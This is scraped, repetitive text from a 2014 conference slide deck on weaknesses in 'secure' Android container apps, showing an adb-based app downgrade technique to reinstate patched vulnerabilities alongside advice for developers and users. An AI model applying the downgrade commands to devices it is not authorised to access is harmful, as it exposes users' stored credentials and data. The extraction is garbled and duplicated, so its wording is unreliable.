  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 165: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 166: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 167: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 168: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
